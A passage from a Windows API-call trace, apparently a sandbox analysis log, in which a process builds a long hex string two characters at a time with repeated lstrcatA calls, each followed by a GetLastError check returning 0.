	[0061.648] lstrcatA (in: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592", lpString2="26" | out: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d59226") returned="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d59226"
	[0061.649] GetLastError () returned 0x0
	[0061.649] lstrcatA (in: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d59226", lpString2="7e" | out: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e") returned="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e"
	[0061.649] GetLastError () returned 0x0
	[0061.649] lstrcatA (in: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e", lpString2="84" | out: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e84") returned="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e84"
	[0061.649] GetLastError () returned 0x0
	[0061.649] lstrcatA (in: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e84", lpString2="5a" | out: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a") returned="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a"
	[0061.649] GetLastError () returned 0x0
	[0061.649] lstrcatA (in: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a", lpString2="65" | out: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a65") returned="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a65"
	[0061.649] GetLastError () returned 0x0
	[0061.649] lstrcatA (in: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a65", lpString2="26" | out: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a6526") returned="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a6526"
	[0061.649] GetLastError () returned 0x0
	[0061.649] lstrcatA (in: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a6526", lpString2="62" | out: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662") returned="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662"
	[0061.649] GetLastError () returned 0x0
	[0061.649] lstrcatA (in: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662", lpString2="e2" | out: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2") returned="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2"
	[0061.649] GetLastError () returned 0x0
	[0061.649] lstrcatA (in: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2", lpString2="b5" | out: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5") returned="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5"
	[0061.649] GetLastError () returned 0x0
	[0061.649] lstrcatA (in: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5", lpString2="55" | out: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b555") returned="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b555"
	[0061.649] GetLastError () returned 0x0
	[0061.649] lstrcatA (in: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b555", lpString2="2b" | out: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b") returned="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b"
	[0061.649] GetLastError () returned 0x0
	[0061.649] lstrcatA (in: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b", lpString2="18" | out: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b18") returned="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b18"
	[0061.649] GetLastError () returned 0x0
	[0061.649] lstrcatA (in: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b18", lpString2="4f" | out: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184f") returned="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184f"
	[0061.649] GetLastError () returned 0x0
	[0061.649] lstrcatA (in: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184f", lpString2="fc" | out: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc") returned="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc"
	[0061.650] GetLastError () returned 0x0
	[0061.650] lstrcatA (in: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc", lpString2="86" | out: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86") returned="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86"
	[0061.650] GetLastError () returned 0x0
	[0061.650] lstrcatA (in: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86", lpString2="ef" | out: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef") returned="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef"
	[0061.650] GetLastError () returned 0x0
	[0061.650] lstrcatA (in: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef", lpString2="05" | out: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05") returned="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05"
	[0061.650] GetLastError () returned 0x0
	[0061.650] lstrcatA (in: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05", lpString2="57" | out: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef0557") returned="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef0557"
	[0061.650] GetLastError () returned 0x0
	[0061.650] lstrcatA (in: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef0557", lpString2="01" | out: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef055701") returned="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef055701"
	[0061.650] GetLastError () returned 0x0
	[0061.650] lstrcatA (in: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef055701", lpString2="39" | out: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139") returned="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139"
	[0061.650] GetLastError () returned 0x0
	[0061.650] lstrcatA (in: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139", lpString2="63" | out: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef0557013963") returned="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef0557013963"
	[0061.650] GetLastError () returned 0x0
	[0061.650] lstrcatA (in: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef0557013963", lpString2="2d" | out: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d") returned="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d"
	[0061.650] GetLastError () returned 0x0
	[0061.650] lstrcatA (in: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d", lpString2="70" | out: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d70") returned="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d70"
	[0061.650] GetLastError () returned 0x0
	[0061.650] lstrcatA (in: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d70", lpString2="3f" | out: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f") returned="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f"
	[0061.650] GetLastError () returned 0x0
	[0061.650] lstrcatA (in: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f", lpString2="5d" | out: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d") returned="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d"
	[0061.650] GetLastError () returned 0x0
	[0061.650] lstrcatA (in: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d", lpString2="37" | out: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d37") returned="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d37"
	[0061.650] GetLastError () returned 0x0
